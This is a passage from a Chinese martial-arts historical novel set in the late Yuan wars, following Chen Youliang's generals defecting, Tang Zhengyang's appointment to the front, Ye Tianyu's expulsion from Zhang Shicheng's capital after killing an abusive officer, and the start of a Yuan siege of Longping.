中,唐思源尸首化为一团灰烬。再说陈友谅这边,得知自己的太子被杀,如同晴天霹雳,心中狂怒,命人将鄱阳湖三蛟和祁连山五鹰叫到大帐中,大声怒吼道:“尔等身为副将,我让尔等护卫太子,尔等为何保护不周,害得太子丢了性命?”鄱阳三杰和祁连五鹰连忙跪倒在地,口中道:“皇上,太子命我们协助他,三船齐发,想去诛杀朱元璋,我们被徐达常遇春拦截,展开厮杀,太子主船已将朱元璋主船逼到搁浅,不料,朱元璋手下大将拼死登船,杀了太子,我等与徐达常遇春厮杀,实在分身乏术,请主公恕罪。”陈友谅对大儿子陈刚视为接班人,早已立为太子,陈刚的神箭也是陈友谅最为依仗的取胜利器,也是陈友谅所有儿子中最有出息的一个,如今却命丧战场,让陈友谅如何不肝肠寸断,悲痛欲绝。”陈友谅怒发冲冠道:“太子已死,尔等身为副将,却保护不力,我要尔等何用?”来人啊,将鄱阳三蛟,祁连五鹰推出去斩了。”此时的陈友谅已经是目眦欲裂,两只眼睛都红了,手下的谋士将领,也没有一个敢上前求情,兵丁们上前用铁索将鄱阳三蛟,祁连五鹰捆得严严实实,推到营门外,准备斩首示众,此时营地外,鄱阳帮的帮众足有数百人,祁连五鹰的手下亲兵也有数百人,一看首领被绑,马上就要被斩首,不由得群情汹涌,冲上去将八人团团护住,陈友谅在大帐中得知,怒不可遏,命令中军将士把鄱阳帮的帮众和祁连五鹰手下团团围住,统统处死,徐必先见此情形,摇头长叹一声,气沉丹田,内力贯注双手,用力挣脱铁索,又将两个师弟手上的铁索用力扯断,祁连山五鹰老大白头鹰张道仓,连忙喊道:“徐贤弟,拜托救救我们兄弟。”徐必先上前将祁连五鹰手上的铁索全部用力扯断,五鹰齐声称谢,徐必先道:“张家兄弟,既然陈友谅要将我们赶尽杀绝,我们也只能反出阵营,你们意下如何?”老大白头鹰张道仓道:“陈友谅如此昏庸无道,不管我们兄弟死活,全凭徐兄做主,我们一起反了。”于是鄱阳湖三蛟和祁连五鹰带头,领着帮众和手下,手持利刃杀开一条血路,冲出陈友谅的兵营,陈友谅得知消息怒不可遏,命令中军将士穷追不舍,务要将反叛众人赶尽杀绝。鄱阳三蛟和祁连五鹰率领手下边杀边跑,奈何陈友谅派来追杀的中军 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将士足足有上万人,鄱阳三蛟和祁连五鹰等人寡不敌众,手下部众不断有人倒下,正在众人绝望之时,忽听一声炮响,只见对面杀出了一队人马,为首之人正是朱元璋手下大将徐达,徐达听闻兵丁来报,说陈友谅营地中,厮杀声震天,以为陈友谅要突围,所以率军前来截击,万万没想到是鄱阳三蛟和祁连五鹰率众和陈友谅的中军正在厮杀,徐达与徐必先本是同族兄弟,年轻时,徐达在鄱阳湖闯荡,遇到了危险,幸亏徐必先的父亲,鄱阳老怪徐道清念在同族之情,出手相救,救了徐达一命,因此徐必先看到徐达领兵前来,喜出望外,连忙大喊道:“徐兄救命,徐兄救命。”徐达一见,连忙率兵上前厮杀,功夫不大,便将陈友谅的中军杀退,徐必先率领众人感谢徐达救命之恩。徐达道:“老弟啊,你怎么和陈友谅的人马厮杀起来了?”徐必先道:“徐兄,今日陈友谅的太子陈刚战死,迁怒我等救护不力,要将我们杀头,我们为了自保只能反出陈营,陈友谅派他的中军追杀我们,幸好徐兄及时救助,不然我等都要命丧黄泉。”徐达道:“老弟啊,你我本是同族兄弟,当年我受你父救命之恩,今日回报也是应该,现在你们打算怎么办?”徐必先道:“我想解甲归田,从此不问世事,请徐兄成全,放我们一条生路。”徐达考虑片刻,长叹一口气道:“老弟啊,如今中南一带尽在我主朱元璋和陈友谅之手,你想解甲归田,怕是没那么容易,我劝你弃暗投明,我家主公朱元璋胸襟宽广,定会给你一个好前程。”徐必先叹口气道:“想当年,我被徐寿辉礼聘,在徐寿辉帐下效力,不想陈友谅弑杀徐寿辉,转头又以鄱阳帮众和我族人要挟于我,对我威逼利诱,我是实在没办法,只好为他效力,两军交战之时,我也杀了不少朱元璋的手下,如果我再投靠朱元璋,岂不是让天下人耻笑我,如同吕布一般,为三姓家奴,请徐兄体谅,我不能再为朱元璋效力了。”徐达叹口气道:“我家主公常道:不是朋友,便是敌人,你们鄱阳帮在鄱阳湖一带势力庞大,周边渔民百姓都以鄱阳帮马首是瞻,既然你不愿为我家主公效力,只怕我家主公也容不下你。”鄱阳三蛟和祁连五鹰,面面相觑,心中也没了主意,想不到刚脱虎口,又要掉入狼窝,徐必先思考片刻,道:“徐兄,我现在立刻回去,带领家眷族人投奔海外,从此不再踏入中原,请徐兄成全。”徐达闻言,心中也是犹豫不决,但是转念一想:“当年自己年轻时遇险,若不是鄱阳老怪出手相救,自己早已身死,今日又如何忍心将救命恩人的儿子擒拿,我徐达自命英雄,怎么能做此不仁不义之事?”想到这,徐达叹口气,道:“老弟啊,我今日拼的军功和前程不要,也不能将你们擒拿,依你所言,你回去后,离开鄱阳湖,到海外求生去吧。”徐必先拱手致谢道:“徐兄大恩,小弟永生铭记。”回头又对着祁连五鹰道:“张氏兄弟,你们是留还是走?”祁连五鹰老大白头鹰道:“徐兄,我们兄弟和你们兄弟情况相似,也不愿意做三姓家奴,让天下人耻笑,我们也回到西域,从此不再踏入中原。”徐必先道:“好,那你们随我走吧。”众人又再次拜谢徐达后,转身离去,徐达虽然心中忐忑不安,只能硬着头皮回去向朱元璋禀报。鄱阳三蛟和祁连五鹰同行一段路程,到了下一个路口,互道珍重后离别。此时的朱元璋,正在大帐之中,听了徐达的禀告后,脸色阴晴不定,也不知在想些什么,思索良久,对刘伯温道:“军师,徐达私放敌方将领,你看如何处置?”刘伯温何等聪明,在一旁察言观色,心中已经明白朱元璋的想法,于是上前两步,道:“主公,我认为徐将军做得对,鄱阳三蛟,有四不可杀。”朱元璋道:“哦,你说来听听。”刘伯温道:“第一,与私,徐将军年轻时被鄱阳老怪所救,如果我们杀了他的儿子和徒弟,岂不让天下人骂徐将军忘恩负义恩将仇报,有损主公清誉,第二,陈友谅与鄱阳三蛟祁连五鹰内讧,如果我们杀了他们,岂不是便宜了陈友谅,得偿陈友谅所愿,第三,我军中有不少从陈友谅处投降过来的将领,主公连鄱阳三蛟祁连五鹰都可以放过,那么这些投降过来的将领,只会感觉主公心胸宽广,度量非凡,对我们继续招降陈友谅的兵将大有好处,第四,鄱阳三蛟的父亲和师父鄱阳老怪,创立的鄱阳帮,在鄱阳湖一带威望极高,整个鄱阳湖一带的渔民百姓都以徐必先师兄弟三人,马首是瞻,既然徐必先师兄弟已经承诺远去海外,主公也不必担心他们为他人所用,如果我们对徐必先师兄弟赶尽杀绝,只会失去鄱阳湖一带的民心,所以我认为徐将军做得对,鄱阳三蛟和祁连五鹰只能放,不可杀。”朱元璋听完刘伯温的分析,微微点头,道:“军师所言极是,徐达你做得对。”徐达本来心中惴惴不安,听闻此言,感激涕零,连连叩首道:“主上高风亮节,仁义天下,我徐达能追随主上,真是三生有幸。”朱元璋对刘伯温道:“军师,你将陈友谅内讧,要杀手下大将,而徐将军义释鄱阳三蛟祁连五鹰的事,派人广为宣传,收拢民心。”刘伯温领命,安排人手在民间广为宣传。此后一个月,陈友谅所部不断有人前来投诚,朱元璋也是不计前嫌,予以重用。陈友谅率领残兵败将,被朱元璋打得节节败退,于公元1363年8月两军交战时,被流箭射中,当场身亡,陈友谅死后,手下军队群龙无首,很快溃散,大将张定边自乱军中抢出陈友谅尸首,并保护陈友谅次子陈理,回到武昌。公元1364年2月,在朱元璋亲自督战下,武昌城被拿下,陈理投降,历时四年的陈汉政权,被朱元璋兼并。 8. 第 8 章 第八章:三杰出走 朱元璋安排将领守住各个新夺的城池,然后班师回应天府,到了应天府城外十里坡,夫人马秀英和儿子朱标,早已得到消息,率人在此迎接,众人见面,格外亲热,马秀英四周一看,没看见唐思源,便问道:“阳儿,你爹呢?”原来唐思源战死,朱元璋命人封锁消息,不敢让马秀英知道,担心马秀英接受不了,唐正阳听闻姨母问话,忍不住心中难过,眼圈一红,转头看着朱元璋,朱元璋道:“妹子,我们回城再说。”马秀英闻言,顿时心中一沉,急忙对唐正阳道:“阳儿,你告诉姨妈,你爹怎么了?”唐正阳强忍悲痛,道:“我爹,我爹,他,他,他战死了。”马秀英一听,霎时愣在当场,简直不敢相信自己的耳朵,急声对唐正阳道:“阳儿,你说什么?姨妈没听清楚,你说什么?”唐正阳强忍悲痛,道:“姨妈,我爹战死了。”马秀英闻言,只觉得晴天霹雳一般,眼前一黑,昏倒在地,朱元璋和朱标连忙上前,又是捶背,又是掐人中,折腾了好大一会,马秀英慢慢醒来,睁开双眼,放声痛哭,朱元璋,朱标,朱文正,唐正阳,徐达,常遇春等人也陪着在一旁流眼泪,唐正阳上前劝道:“姨妈,你不要哭坏了身体,我爹,他……”,此时唐正阳已经泣不成声,再也说不出话来,马秀英拉着唐正阳撕心裂肺的痛哭,道:“都是我害了姐夫,都是我害了姐夫。”唐正阳强忍悲痛道:“姨妈,生死有命,你不要~~~”,话没说完,自己也痛哭起来,朱元璋连忙使个眼色,让徐达,刘伯温等人上前劝慰,好不容易众人才平静下来,众人心情沉痛回到了应天府,到了晚上,马秀英强行抑制内心悲痛,对朱元璋道:“元璋啊,姐姐当年为了救我和叔叔,卖身为奴,从宿州去了安西府,可惜英年早逝,如今姐夫又为了救你而死,我现在娘家只剩正阳这一个嫡亲侄儿了,你以后有所成就,定然要厚待正阳。”朱元璋道:“妹子,你放心,姐夫是为救我而死,如果日后我有所成就,定封正阳为公侯。”马秀英又道:“现在正阳父母双亡,你不能再安排正阳到前线厮杀,如果他有什么意外,我以后死了,九泉之下怎么见他父母?”说到此处,又是失声痛哭,朱元璋连忙又是劝慰,又是保证道:“妹子,你放心,我把正阳安排留守应天府城,前线的事就不安排他去了,日后我有成就,定然封他一个大大的官职,让他可以封妻荫子,享受荣华富贵。”过了几日,唐正阳来府中拜见马夫人,把想带领五行卫回西北的事一说,马夫人闻言,瞬间感觉全身如同坠入冰窖一般,禁不住泪流满面,泣不成声,口中道:“阳儿,你父母双亡,在这世上,只有姨妈这一个至亲长辈,姨妈娘家,也只有你这一个嫡亲侄儿,如今你也要离姨妈而去吗?”说罢,放声痛哭,朱标拉着唐正阳手臂,也苦苦劝阻,唐正阳见姨妈如此伤心难过,不由得心中一软,见表弟朱标也是苦苦挽留,也只好作罢,答应姨妈留在应天府。又过了几日,朱元璋召开将领开会,任命唐正阳为应天府副将,协助汤和留守应天府,原应天府副将耿炳文随军出征。此令一出,各将面面相觑,都默不作声,唐正阳也感觉到气氛不对,上前几步道:“大帅,我在前军效力,为何让我留守应天府?”耿老将军,年纪已大,为何要将我和他对换?”朱元璋道:“正阳啊,你刚刚丧父,你姨妈又想你念你得狠,你在应天府当个副将,有空去陪陪你姨妈,免得你姨妈牵挂。”唐正阳本来就是年轻气盛,听得此言,又看到众将神色,顿时感觉颜面无光,对朱元璋道:“大帅,耿老将军年龄已大,正适合留守应天府,而我年轻力壮,正可以上阵杀敌,怎可在后方虚度光阴?”朱元璋看了看唐正阳,心中暗想:“这小子是不是傻?这明显是你姨妈怕你到前线危险,所以安排你留守后方。”朱元璋皱皱眉头道:“正阳,你就体谅一下你姨妈心情,你就留守应天府多陪陪你姨妈吧。”唐正阳道:“正阳来此,只为解姨父姨妈的忧愁,请大帅收回成命,正阳愿做前锋先锋官,带领将士们战场杀敌。”朱元璋心想:“这孩子怎么劝都不听啊?”但是当着文臣武将的面,也不好明说,只好劝道:“正阳啊,你留守应天府,防务也至关重要。”唐正阳摇摇头,坚持道:“正阳来此,只为解姨父姨妈的忧愁,耿老将军年龄已大,正适合留守应天府,末将年轻力壮,怎可在后方虚度光阴,请大帅收回成命,正阳愿做前锋先锋官,带领将士们战场杀敌。”朱元璋见文臣武将都将目光看着自己,心中暗暗叹口气,只好道:“那我就任命你为前军主将,命邓愈为你的副将,让你在前线,一刀一枪拼个功名。”唐正阳躬身施礼道:“多谢大帅成全,末将定然全力以赴,不负大帅所望。”于是朱元璋又重新颁布命令,任命唐正阳为前军主将,常遇春为左军主将,徐达为右军主将,自己坐镇中军,晚上,朱元璋回到大帅府,马秀英已经知道朱元璋的人事任命,火冒三丈大发雷霆,揪着朱元璋大吵大闹,非要朱元璋重新拟定唐正阳职务,将唐正阳留在自己身边,朱元璋无奈道:“妹子,不是我不听你的,只是正阳这孩子,他在诸将面前逞强,非要去前军做个先锋官,你让我有什么办法?”难道非要让众将觉得,他是我姨侄,我不愿意让他去战场厮杀,你让众将怎么看?再说,你不是想让正阳以后得个大大的功名吗?他在应天府只能做个副将,而在前军,我任命他为主将,以后他的地位和徐达,常遇春都是一样的,日后可以封为国公。”马秀英连连摇头,道:“如果这个国公是正阳用性命换来的,我宁可不要,你快把他换到应天府来,要不然别怪我和你翻脸。”马夫人不依不饶,不管不顾,只是疯了一般和朱元璋吵闹,朱元璋让马夫人吵的寝食难安头大如斗,最后实在受不了了,只好命人把唐正阳找来,让唐正阳自己和马夫人说,唐正阳对马夫人道:“姨妈,我知道你的爱护之情,姨父确实是安排我留守应天府,是我自己不愿意,我年轻力壮,如果我在后方留守,只会让人耻笑,说我凭着姻亲关系上位,我现在到前军做主将,一刀一枪打拼出来,这样才不会丢你和姨父的脸,请姨妈成全。”马夫人闻言,连连摇头,苦口婆心劝了唐正阳半天,但是唐正阳还是坚持己见,马夫人也是无可奈何,只好作罢。第二天,马夫人派人把邓愈叫到府中,对邓愈千叮咛万嘱咐,让他一定保护好唐正阳,千万不能有任何闪失。邓愈连连点头,道:“夫人请放心,末将宁可自己性命不要,也要护得唐将军周全。”马夫人这才稍微放了一点心。此后一年,朱元璋在应天府操练军马,筹备粮草,时刻派人刺探张士诚的消息,只待一有时机,便挥师东进。此时的张士诚,自从和朱元璋签订互不侵犯条约后,逐渐变得奢侈放纵,懒于政务,很多事情都交于两个弟弟,张士德和张士信办理。再说王定国等人,随张仁凤回到张士诚都城隆平府,隆平府就是现在的江苏省苏州市,元至正十三年(公元1353年),泰州白驹场亭张士诚率领盐丁起义反元,攻下泰州,同年攻陷高邮后,建号大周,以天佑为年号,自称诚王。元至正十六年(公元1356年)正月,张士诚乃遣弟士德由通州渡江入常熟。十六年二月陷平江,并陷湖州、松江及常州诸路。改平江为隆平府,士诚自高邮来都之。 张士诚定都隆平府,把承天寺改建成王宫,并设立了省、院、六部等行政机构,任命李行素为丞相,张士德为平章,蒋辉为右丞,潘元明为左丞,史文炳为枢密院同知,周仁为隆平太守。 同时,为了抵御元军和朱元璋军队的进攻,张士诚又加紧巩固各地城防,重修了常熟、湖州等地的城墙,并在隆平府城外修筑了外城,隆平府在当时号称“天下第一坚城”。王定国等人在隆平府小住几日后,便想告辞回杭州,但张仁凤却苦苦挽留,道:“大师兄,二师兄,四师弟,你我兄弟既然能共赴沙场杀敌,当然也能共富贵,你们留在都城,我们四兄弟常聚不好吗?”王定国推却不过,只好带着李安邦和叶天羽住在世子府,天天畅饮相聚。时间一长,叶天羽毕竟年幼,就耐不住性子,三天两头要出城打猎,张仁凤知道他小孩性情,也不阻拦,派了十个侍卫跟着他,以防出什么意外。这一天,叶天羽骑马出城,十个侍卫也紧紧相随,到了城外一个叫三十里井的地方,叶天羽看到一头野猪,连忙张弓搭箭,射向野猪,不料那野猪,在野外生存,皮糙肉厚,虽然中了箭,并没有伤及要害,拼命逃窜,叶天羽自是紧追不舍,只见野猪跑到附近一个村庄,一头扎进村里,叶天羽驱马向前,刚要进村,却听到村里大呼小叫,哭声震天,叶天羽不由好奇,进到村中一看,只见几十名兵丁,正在驱赶一百多个老弱妇孺,对走的慢的,就用皮鞭抽打,那些老弱妇孺,连跑带哭,甚是凄惨,叶天羽连忙驱马上前问道:“你们是哪部的兵丁?为何在此虐待百姓?”为首的将官姓杜,名元绍,三十几岁,长得肥头大耳脑满肠肥,是张士德的小舅子,此人不但贪财好色,而且性格暴虐,看见叶天羽一个小娃娃上来问话,厉声喝道:“小娃娃滚一边去,别挡了官爷办差。”叶天羽道:“你们办差为何要驱赶抽打百姓?”杜元绍道:“这里被二王爷征用当做养马场,这些刁民妨碍公务,我没杀了他们,就已经在发慈悲了。”叶天羽闻言,一个纵身下了马匹,来到村民跟前,拉着一个哭泣的老汉问道:“老人家,你告诉我怎么回事?”那个老汉已有六十多岁,满脸沧桑,身上都是被打的马鞭伤痕,边哭边道:“我们小老汉一族在此耕种已有百年,如今他们来说,二王爷要把这里征做养马场,我们同族的一百多老小,就靠着一百多亩地种地为生,这些军爷来,不问青红皂白,就要赶我们走,这不是让我们没有活路吗?”叶天羽一听,不由得义愤填膺,怒上心头,一抬手,指着杜元绍道:“你这死胖子,竟然如此欺压百姓,就不怕遭天打雷劈吗?”杜元绍长得肥头大耳,最恨别人说他胖,听得叶天羽叫骂,怒上心头,驱马上前,举起手中的虎头狼牙槊,对着叶天羽就是劈头盖脸砸来,叶天羽一边躲闪,一边怒吼道:“死胖子,你再敢对小爷动手,别怪小爷不客气。”这时,跟随叶天羽来的几名侍卫连忙上前道:“杜将军,手下留情,这是我们世子的贵客。”杜元绍仗着张士德的权势,目中无人,挥动手中虎头狼牙槊,将几个上前劝阻的几个侍卫打的口吐鲜血,叶天羽一看几个侍卫受伤吐血,再也按捺不住,一个健步上前,一伸手抓住了杜元绍的槊头,双方开始拉扯,杜元绍哪是叶天羽的对手,被叶天羽拉下马,跌了个狗啃屎,杜元绍爬起身抽出佩剑,对着叶天羽又是猛刺猛砍,叶天羽连躲带闪,杜元绍却咄咄逼人,手中宝剑挥舞如风凌厉狠辣,要置叶天羽于死地,叶天羽躲了十几招后,见杜元绍还是不依不饶,不禁心中恼怒,将夺在手中的虎头狼牙槊,挥向杜元绍,杜元绍乃酒色之徒,身体早被酒色掏空,躲闪不及,被叶天羽一槊打在脖颈处,叶天羽的内力现在已经是天下第一人,杜元绍哪里承受的住,只听噗通一声,杜元绍栽倒在地,霎时命丧黄泉,杜元绍手下的兵将,看见杜元绍被打死,一个个吓得面无人色,有的大呼小叫,有的拿刀弄枪,想来擒拿叶天羽,叶天羽此时已经怒火攻心,拿起虎头狼牙槊一顿乱打,那些普通士兵哪能经得起叶天羽内力,一会儿功夫,死伤一大半,剩下的士兵,吓得赶紧骑马便逃,叶天羽身后的侍卫,也是看的目瞪口呆,那些村民们更是吓得瑟瑟发抖,叶天羽见杜元绍手下士兵已经逃散,扔了手中虎头狼牙槊,对那个老人道:“老人家,你别害怕,我去找我师兄为你们主持公道。”那老汉吓得哆哆嗦嗦道:“这位小哥,你可闯下大祸了,这是张士德王爷手下的兵,你不要管我们了,赶紧逃命去吧。”叶天羽道:“老人家,你不要担心,我现在就去找我师兄。”说罢,翻身上马,带着侍卫回城,刚到城门口,忽听城中一片嘈杂之声,只见张士德领着手下几名将领,带着五百兵丁,冲出城来,几个刚才逃回报信的士兵,指着叶 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天羽道:“二王爷,就是这小子,杀了杜将军。”张士德大手一挥,手下兵丁上前将叶天羽和手下侍卫,围个水泄不通。”叶天羽手下侍卫赶紧上前道:“二王爷,二王爷,这是世子的师弟。”张士德怒气冲天道:“这小子竟然敢杀了我的内弟,今日我就要将他剁成肉酱。”说罢,就要命令士兵们动手。”正在紧要关头,忽然听见身后有人大喊:“住手,住手,都给我住手。”众人循声望去,只见张仁凤领着王定国,李安邦,带着一队士兵匆匆赶来,原来陪同叶天羽的世子府侍卫,有两名侍卫看到叶天羽打死杜元绍和那些士兵,就知道事情不妙,也没有请示叶天羽,调转马头,快马加鞭,进城把事情禀报给了张仁凤。”张仁凤急忙领着两个师兄和一队兵丁连忙赶来,张士德怒道:“侄儿,你的师弟杀了我的内弟,难道你想袒护他不成?”张仁凤拱手施礼,道:“二叔,这中间有些情况,你先不要动手。”张士德道:“我不管什么情况,今日都要杀了这小子,为我内弟报仇。”一挥手,又要让士兵们上前,张仁凤面如寒霜,大吼道:“你们都给我听好了,我是世子张仁凤,谁敢动手,我就将他满门抄斩。”此言一出,士兵们都面面相觑,不敢再上前动手,张士德气的哇哇大叫道:“侄儿,你为了一个外人,想气死二叔吗?”张仁凤道:“二叔,你稍安勿躁,你和我进城,自有说理的地方。”张士德眼见手下兵将都不敢动手,只好道:“好,你现在和我进王府,找我大哥说理。”说罢,驱马进城,张仁凤,王定国,李安邦三人护着叶天羽,骑马直奔张士诚的王府而去,张士德先他们一步已经进了王宫,正对张士诚哭诉,说他的小舅子执行军务,被世子的师弟叶天羽打死,手下兵丁也被打死几十个。张士诚正在劝慰,这时守卫来报,说世子已经回宫,张士诚连忙让张仁凤进来说话,张仁凤领着三个师兄弟,到了王宫后,张士诚连忙来问清缘由,叶天羽一五一十的将当时的情形禀报,张士诚虽然仁义,但却非常看重亲情,对两个弟弟也是宠信有加,眼见二弟如此伤心,只好对张仁凤道:“此事虽然你师弟也有些道理,但是他打死军中大将,又打伤几十名兵丁,先将他收监,再来定罪。”王定国和李安邦一听,立刻就不愿意了,王定国上前两步道:“王爷,以我师弟所言,他完全是自卫,是杜元绍先动手的,我师弟若是不还手,便会被杜元绍所杀,再说他也是行侠仗义,为百姓做主,不可定罪。”张士德在旁边大喊道:“大哥,叶天羽伤了我内弟性命,今日定要将他处斩,方解我心头之恨。”张士诚也是左右为难,便柔声劝道:“仁凤啊,你们师兄弟不要激动,先将你师弟收监,再做调查。”此时张士诚的三弟张士信,也听到消息,入宫而来,见二哥如此悲伤愤怒,又痛恨叶天羽曾经与他的义子宋天宝结仇,导致宋天宝被革去功名,也在旁边帮腔道:“大哥,我们兄弟从小感情就好,同生共死,难道你要为了一个外人,伤了二哥的心吗?”依我所见,即刻将这小子处死,给二哥出气。”张士德见弟弟来帮腔,气焰更加嚣张,大喊道:“侍卫,侍卫,将叶天羽拿下。”有的侍卫们想讨好张士德,张士信的,也摩拳擦掌想上前擒拿叶天羽,张仁凤大怒,拔出腰中宝剑,大吼道:“胆敢擒我师弟者,当场格杀。”这些侍卫看世子发怒了,也就缩着头不敢说话了,张仁凤对张士德道:“二叔,今日你要是执意杀我师弟,为你内弟报仇,那我就一命抵一命,你杀了我,就当是给你内弟报仇。”张士德气的直蹦道:“侄儿,你不维护自己亲叔叔,却去维护你什么狗屁师弟,是何居心?”张仁凤对张士诚道:“父王,我们四兄弟曾经在祖师面前发过誓,有福同享有难同当,同生共死生死与共,今日父王若是要降罪我师弟,我只能一死以谢天下。”说罢,将手中长剑横在咽喉之上,张士诚一看,急的直蹦道:“士德啊,你歇歇吧,难道你真的要逼死你侄儿吗?”此时张士诚的夫人韩王后也得到消息,急匆匆来到殿前,眼见这种情况,也吓得面无人色,对张士德和张士信道:“二弟三弟,我和你大哥就这一个儿子,难道你们想让你大哥绝后吗?”张士德张士信虽然不怕自己大哥,但是对自己的大嫂韩王后颇为畏惧,眼见大嫂已经怪罪,纵然心中不甘,也只能嘴里嘟嘟囔囔的,也不敢再说话了,韩王后道:“二弟啊,你的内弟已死,人死不能复活,我们多赏赐他银两,抚恤他家人便是,凤儿的几个师兄弟,在和朱元璋交战时,立下大功,他们也没要什么赏赐,如今功罪相抵,这个事就此作罢。”张士诚也附和道:“二弟三弟,你们就依你大嫂所言,大事化小小事化了。”张士德看此情形,虽然心有不甘,但是也知道,今日想杀掉叶天羽,已经是不可能了,便恨声道:“大哥大嫂,我看侄儿情面,就不杀这小子了,但是要将这小子逐出王城,今生今世都不许他再来。”没等张士诚和韩王后说话,王定国在一旁听见,王定国乃当世之英雄豪杰,怎么会让小师弟受此委屈,也不愿让张仁凤夹在中间为难,当即上前两步施礼道:“多谢王爷,王后厚恩,我兄弟三人就此离开,永不踏入王城一步,告辞。”说罢,带着李安邦和叶天羽,毫不犹豫转身就走,张仁凤此时虽然心中难过,但是也知道不能再挽留了,也只能跟着三人出了王宫,张仁凤满脸愧疚道:“大师兄二师兄,四师弟,是我对不起你们。”王定国道:“三师弟,这事也不能怪你,也怪小师弟太冲动了,青山绿水,有缘再见。”说罢,三人骑上马匹,又叫上西湖会一众兄弟,策马出城扬长而去。张仁凤紧随其后把几位师兄弟送了老远,才依依不舍告别,看着众人离去的背影,心如刀绞,但是也无可奈何。这件事很快便在民间传扬出去,朱元璋安排的探子得到消息后,迅速禀报朱元璋,朱元璋得到消息后,不禁心中大喜哈哈大笑,心中暗想:“张士诚啊,张士诚,你是在自毁长城,这是老天要你灭亡啊。”当即下令,全军动员,准备粮草器械,两个月后,东进讨伐张士诚。 9. 第 9 章 第九章:联手拒敌 两个月后,朱元璋率领大军,讨伐张士诚,唐正阳率领五行卫和两万骑兵,三万步兵,作为前军,一路上攻城掠地,势如破竹,很快便打到了湖州,湖州守将是张士诚手下头号猛将大将军吕具,吕具,字国珍,苏州本地人氏,和张士诚乃是布衣之交,既是张士诚的战将又是他的结义兄弟,于公元1353年追随张士诚于泰州白驹场起义,自此为张士诚四处征战,当年十王九江聚会,吕具保驾随行。凭借他手中一百五十斤重的凤翅鎏金镗,力压十王手下战将,被当时十王称作“金镗无敌将”,反元联盟盟主刘福通还特意为他打造三斤十二两的横勇无敌金牌。吕具见唐正阳兵势凶猛,便命令三军固守城池,唐正阳久攻不下,朱元璋带着大队人马前来增援,双方陷入鏖战。这日晚上,朱元璋带着朱文正和几名随从,前去军营巡视,只见一群群士兵围着篝火,在大声歌唱,朱元璋侧耳听去,听得不大清楚,便问朱文正道:“文正,这些士兵在唱什么?”朱文正道:“四叔,这些军士在唱汉高祖刘邦的大风歌,他们把歌改了几句。”朱元璋道:“哦,那你说来听听。”朱文正道:“大风歌,大风起兮云飞扬,安得猛士兮守四方,群雄逐鹿谁最强,五行神卫无人挡。”朱元璋听罢,脸上阴晴不定,问道:“这首歌是谁改的?”朱文正兴高采烈道:“唐家表弟率领着五行卫,攻无不胜,战无不克,军中的将领和士兵都是膜拜,万分钦佩,这首歌也不知道是哪个士兵改的,现在军中都在传唱。”朱元璋闻言,瞬间脸色一沉,道:“看来唐正阳和他的五行卫,在军中人缘很好嘛。”朱文正也没有注意到朱元璋的神情变化,还在兴高采烈道:“是啊,四叔,现在军中很多将领和士兵都想加入圣火教,都想做唐正阳表弟的手下呢。”朱元璋脸色铁青,冷哼一声,转身离去,朱文正一头雾水不明究竟,丈二和尚摸不着头脑,只感觉莫名其妙,朱元璋回到营帐后,脑海中不断浮现那些士兵们欢呼唱歌的情形,又想起朱文正的话,情不自禁的心中一沉,喃喃自语道:“此等邪教,若不加以毁灭,只怕养虎成患啊。”过了两日,朱元璋正在营帐中,忽然有探子来报,说元朝大将军上官英,领十万蒙古骑兵,正在攻打张士诚的都城隆平府,朱元璋连忙召集手下谋士武将来帐中,商议如何应对,众人七嘴八舌讨论了半天,朱元璋对刘伯温道:“军师,你如何看待此事?”刘伯温道:“大帅,臣有一上策,一下策供大帅斟酌。”朱元璋道:“军师请讲。”刘伯温道:“此次领兵攻打隆平府的元朝大将军上官英,此人祖辈上官林为铁木真效力,家传一对玄铁乾坤戟,为铁木真手下第一猛将,后来受封北海王,上官英便是上官林的后人,听说戟法已经青出于蓝胜于蓝,胜过其祖辈,元朝皇帝赐他一个封号:无敌神戟大将军,有万夫不当之勇,部下十万蒙古铁骑,为元朝的最精锐之师,我们万万不可轻敌,上策是我们派一员大将,领五万铁骑,行至离隆平府半日行程之处驻扎,先让上官英与张士诚拼个鱼死网破,上官英破城之时,双方定然会陷入巷战,我们的骑兵便快速前进,到隆平府城外稍作休整,待双方力竭之时,我方兵马冲入城中,将双方一网打尽,此条计策虽好,但是时机却难以把握,上官英身经百战,必然也会留下备用军马,以防张士诚手下有将领率兵来救援,所以此计虽妙,但也风险极大,下策是:我们先攻下湖州,不必理会隆平府,任由上官英攻下隆平府,我们三军休整后,再与上官英决战。”朱元璋思索良久道:“如果任由上官英占领隆平府,上官英必定固守城池,隆平府城墙高大,到时候我们再去进攻,只怕更加艰难,军师,我想采用上策,你看派何人出征为好?”刘伯温道:“上官英手中一对玄铁乾坤戟,号称无敌神戟大将军,戟法精奇,武艺高强,为当今元朝第一猛将,我方将领中,只有唐正阳唐将军可与之一战,若唐将军在战场上能击杀击退上官英,那我们日后北伐必定事半功倍。”朱元璋考虑片刻,道:“唐正阳听令。”唐正阳上前几步,拱手施礼道:“末将在。”朱元璋道:“军师之言,你都全部听见,我命令你率领五行卫和五万铁骑,到隆平府半日行程之处驻扎,待隆平府城破之日,你便率军急速前进,待到上官英与张士诚双方兵马在巷战之时,你趁机杀入城中,来个鹬蚌相争渔人得利,一举占领隆平府。”唐正阳道:“末将得令。”说罢,转身出了营帐,召集五行卫,带领邓愈侯成庆等人和五万铁骑向着隆平府进军,行了几日,来到离隆平府有半日行程之处,选址安营扎寨,等安营扎寨结束时,唐正阳与邓愈和师弟侯成庆等人商议,唐正阳道:“邓将军,你率领兵马在此驻扎,我带着师弟前去隆平府一探究竟。”邓愈道:“大将军,这个万万不可,你现在是前军主帅,万万不可以身涉险,万一有个闪失,末将担待不起。”唐正阳笑道:“邓将军,你太小看我了,我和师弟换上平民衣服,去隆平府探个虚实,纵然被发现,凭我和师弟的武功也可全身而退,邓将军不必过虑。”邓愈还想劝说,被唐正阳挥手制止,于是唐正阳和师弟侯成庆换上平民衣服,骑上马匹,向隆平府进发,一路之上,两人看见不少农夫拿着耕田的耙子,锄头,急匆匆向隆平府方向而去,唐正阳心中禁不住疑惑,便找一位五十多岁的老农问道:“这位大伯,我看你们扛着农具,急匆匆前行,不知所为何事?”那老农道:“小哥儿,你还不知道啊?现在元朝的什么大将军领着十万骑兵在攻打隆平府,我们都去支援隆平府。”唐正阳不觉诧异道:“老伯,蒙古人弓马娴熟,弯刀利剑素来凶猛,你们拿着这些农具去前线战场,岂不是送死?”那老农道:“我等身受王爷和世子之恩,如今他们遇到险境,我们自当前去效命。”唐正阳道:“可我看你们所拿之具都是农具,如何能上阵杀敌?”那老农道:“小哥儿,自元朝以来,我们汉人从几千万人被杀得只剩几百万人,又被分为最